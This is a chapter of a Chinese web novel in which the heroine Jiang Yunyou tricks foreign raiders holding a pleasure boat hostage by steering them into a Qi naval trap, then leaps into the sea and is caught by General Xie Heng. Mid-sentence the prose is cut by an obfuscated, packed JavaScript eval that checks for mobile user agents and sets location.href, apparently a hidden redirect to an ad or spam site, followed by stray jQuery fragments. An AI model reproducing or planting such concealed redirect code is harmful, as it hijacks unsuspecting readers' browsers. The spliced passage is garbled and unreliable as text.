25. 溪云初起(二)

打扮的花枝招展的画舫此刻已经死气沉沉,带着一船人向如血的残阳驶去。


栏杆上随风扬起的五色绸带被染成红褐色。宴饮厅内,一个双目圆瞪的人头在地上滚了一圈,停在摊开的书卷前。


跪着瑟瑟发抖的人群抱成一团被围在中间。敖敦在长桌上首,神态悠然的拣了一口鱼放到对面的盘子里。


“又见面了少东家。”


江云悠掀翻他碰过的碟子,弓着身干呕。


那个书生尸首分离的刹那仿佛烙在她眼底。持书笑谈的场景与张手呼救的画面不停切换,最终化为那双合不上的眼,死死看着她。


敖敦十分满意她的恐惧,笑着道:“今日在匪寨你说要和我大越做生意,我想了想,觉得可行。”


江云悠仍跪坐在地上,垂着头没说话。四周蔓延出来的腥臭和恐怖无孔不入的把她埋没。


旁边的越兵看了眼敖敦,持刀靠近试图教训教训她。王大山本来被摁在地上,见此情形不管不顾的挣开束缚,持剑挡在江云悠面前。


一瞬间,在场的越兵齐刷刷举刀对准王大山,抽刀声令跪着的百姓抖若筛糠,发出细细的啜泣。


江云悠撑起眼睛环视一圈,目光慢慢移到他被谢衡射穿的腿上,讥笑一声。


“怎么着,你们烧杀抢掠前,还得想个什么狗屁理由吗?”


敖敦被她视线激起怒火,猛地摔了筷子,不知又想到什么,脸色几变,最后抬手示意越兵放了刀。


“我与江家合作这么多年,实在没必要到这一步,我的要求其实很简单,只要我们到了沅澧,你们自然可以安全离开。”


江云悠盯着他,撑着地的手还在细细颤抖着,脑袋里已经将这句话逐字拆分。


她深吸一口气,将自己七上八下的五脏六腑都堵严实了,而后伸手摁下了王大山的剑,缓而稳的站起身。


“港口既已管控,你们都不进去,这条寻常游船又怎么登岸?”


敖敦不再跟她绕弯子,怒道:“那是你要想的事!到不了沅澧,你们一个也别想活!”


“有活路谁会想寻死,但你总得给我点思路,毕竟我没当过卖国贼,对你们那些勾当没经验啊。”


江云悠声音和气示弱,话却字字带刺,成功激怒了敖敦。


“少装蒜,你要真什么都不知道,怎么会扮作郑家人去匪寨?”敖敦忽然上前,紧紧扼住江云悠的喉咙。“上船容易下船难,别以为找官兵捅了鬼寨就能把江家摘干净,通敌卖国在你们大齐,得挖祖坟吧?”


“通敌卖国”这四字重锤重重敲在江云悠绷紧的弦上,跟那只铁爪一起,剥夺了她的呼吸。


颈上的手不断收紧,江云悠甚至尝到了喉咙间的血腥。她抽出匕首扎向敖敦,但根本使不上力。


渐渐的,她挣扎的动作变慢,眼睛也充血的一阵阵发黑,终于,敖敦将她甩在地上,冷声道:“别自作聪明的套话,真以为在鬼寨那群蠢货眼前转了一圈就无所不能了?”


她趴在地上咳嗽着,疯狂地呼吸着空气,直到耳边忽然响起凄厉的哭声。


越兵从人群中拎出一个孩子,正是今日生辰的那个小女孩!


“住手!”


因为喉咙受伤,这一声并没发出音。江云悠爬起身试图冲上去阻拦,却被越兵拉住牢牢摁在地上。


“住手!你们还有没有人性!”


女孩的母亲哭的撕心裂肺,一会求越人士兵愿一命换一命,一会求江云悠救救她们母女。


哭声针扎似的往江云悠耳朵里刺。她头皮一紧,被扯着仰起头,刚才的窒息感让她心有余悸,下意识抽了一口冷气。


敖敦抓着她头发威胁道:“我是动不了你,但船上还有这么多羊羔,都等着你的办法呢。”


他看了一眼滚在地上的尸首,又看向抱成一团瑟瑟发抖的齐国百姓,冷血的眼里尽是无声威胁。


良久后,江云悠沙哑的声音在满船啜泣里轻声响起,“去草市的内部路线我只隐约听过,你有鹭州航线图吗,越详细的那种越好。”


敖敦满意的松开她,女孩也从刀口逃生,被她母亲紧紧护到怀里。


江云悠只在江云帆吹嘘自己的商业蓝图时见过鹭州各个水系图,跟越人这张涂涂抹抹标满红黑的图出入很大。


她拼命回想那日下午他们的对话以及那些河道名称,每描一段就要停下思索一会,冷汗一阵阵从脊背上滑落。


月光下,海水一浪高过一浪,将精雕细琢的画舫推向翘首以盼的归处。


“大概还有半炷香靠岸。”江云悠看向厅内持刀而立的越人士兵,对敖敦道:“我再怎么想办法,也没有那个地方会欢迎一群强盗到访吧。”


敖敦斜她一眼,让越兵把尸首收拾好,躲在厅内角落。江云悠走到那对母女面前,刚伸出手,就看到那妇人瑟缩了一下,眼睛垂着不敢张望。


“听说你家住水边,应该会凫水吧。”


妇人眼睫眨了一下。


“一会和百姓们靠在西窗边上。”江云悠理好女孩的衣裳,阻止了她抬眼的动作。“别紧张,会没事的。”


江云悠起身跟敖敦走上露台,回首深望了眼留在里下的王大山。


画舫还在平缓而匀速的前进,稀薄的月光下白雾缭绕,依稀能看到远方漆黑的岸。


江云悠放松道:“货都没了,绕去沅澧找你们那个主子领罚吗?”


“少东家这时候还要试探?”敖敦眼看计划要达成,神态也不似刚才那般狠厉,“你若是我越国人,我定向王子推荐你。”


“是吗。”江云悠盯着越来越近的岸,忽而一笑,眼里光华如夜间群星,“你们那王子长得好看吗,不好看的话,我就连夜收拾包袱回来找大齐将军了。”


敖敦大笑起来,然而只笑了一半,嘴角便僵在那,眼睛直愣愣的盯着前面。


白雾淡去,原本的漆黑的岸露出真容,一条长达几十米的巨大斗舰横在海面上,黑夜里,给人一种靠岸的错觉。


扑通一声,像是重物坠


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181631|165302||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


入海面,紧接着是宴饮厅内越人的暴喝,突如其来的动乱敲醒了愣在原地的敖敦。


江云悠已经先一步抽出匕首,将他暂时击倒后,毫不停留地跑向最前方的甲板。


以敖敦的残忍,不管最后成不成功,他都不会放过船上任何一个人。


于是在他百般威胁下,江云悠装作妥协,给了他想要的路线。


只不过在那张海路图描下的,是她去城防营找谢衡时误打误撞听到的最新布防。


这已经是尽她所能,临时能想到的最周全的办法了。


海风将她凌乱的头发尽数扬起,裙摆飞舞在身后,广阔的水面上,响起她拼尽全力的吼声。


“越贼袭城!百姓被挟!”


孤注一掷,破釜沉舟。


漆黑深渊里,数道微弱灯光骤然大亮,像是高大的巨兽在呼喊中睁开眼眸,紧随其后的是厚重的战鼓声,一记一记砸碎黑暗。


画舫内会水的百姓均提前跳了船,被齐兵的小舟捞上了船,其余的也早早在王大山的通知下寻了地方躲起来。


得知自己上当的越兵勃然大怒,追向甲板上的江云悠,包围圈越缩越小,将她团团围住。


江云悠的三脚猫功夫自然抵不过这群强盗,匕首也被打落在地。敖敦怒不可遏的指挥着越兵,势要把她碎尸万段。


越兵高大,山一样把她围在其中,看不到生门。然而江云悠只是甩了甩汗湿的手心,高声对敖敦道:“别再喷你那鸟语了,还没看明白吗,这是大齐,我们可不是你口中的羔羊。”


她单手翻身跃上栏杆,凛冽的风被单薄的身影挡住,张扬的发丝肆无忌惮的盛开在黑夜之中。


“哦对了,你们那个鸟王子,长得再好看再厉害也没用,因为我的心上人,是世界上最厉害的将军,会把你们全部逐回你们该回的地方。”


越兵的大刀在敖敦的暴喝下先后朝她砍去,却没沾到一片衣角。江云悠毫不犹豫地一跃而下,无边无际的暗夜里,像一只飞舞的蝶,投入大海。


头顶浮云散去,清冷的月辉像是独照于她一身,海上的风与浪渐平。


剧烈的失重令她有种灵魂被托起的感觉。


江云悠闭上眼屏住呼吸。


海浪,风啸,人声……尽数在耳边褪去。


忽然,一道身影从空中极速掠过,将那只蝴蝶护在了怀里。


江云悠跌入了一个血气未散的怀抱。她猝然睁开眼,愣愣的看着出现在眼前的谢衡和熟悉的甲板,一时怀疑出现了幻觉。


她眨了眨眼,慢慢抬起手戳了戳那张常年冷面的脸。


温热的触感把飞在半空的灵魂拉回壳里,也顺道带回了一直压抑着的惶恐和颤栗,连同孤立无援的恐惧一起,全部变本加厉的袭来。


她抬手环住谢衡的肩膀,强撑起的力气和勇气一股脑卸下,没有哭也没有喊,只是那样紧紧环住他。


谢衡缓缓抬起手,极不熟练的拍了拍她的背。


“对不起,我来晚了。”